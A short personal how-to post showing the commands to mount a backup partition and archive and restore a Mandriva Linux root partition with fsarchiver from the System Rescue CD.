Use fsarchiver to backup Mandriva Linux system

I am using Mandriva Linux and I tried many ways to backup my system. Finally I found this good backup software - Fsarchiver.
Fsarchiver  is included in the System Rescue CD. Download the iso and burn it to a CD.

mount -t ext4 /dev/sda7 /mnt/backup (this is to mount the partition in my hard disk for storing the backup)

fsarchiver  -j2 -o savefs /mnt/backup/mandriva2010spring.fsa /dev/sda1 (archive)

fsarchiver restfs /mnt/backup/mandriva2010spring.fsa id=0,dest=/dev/sda1 (restore)
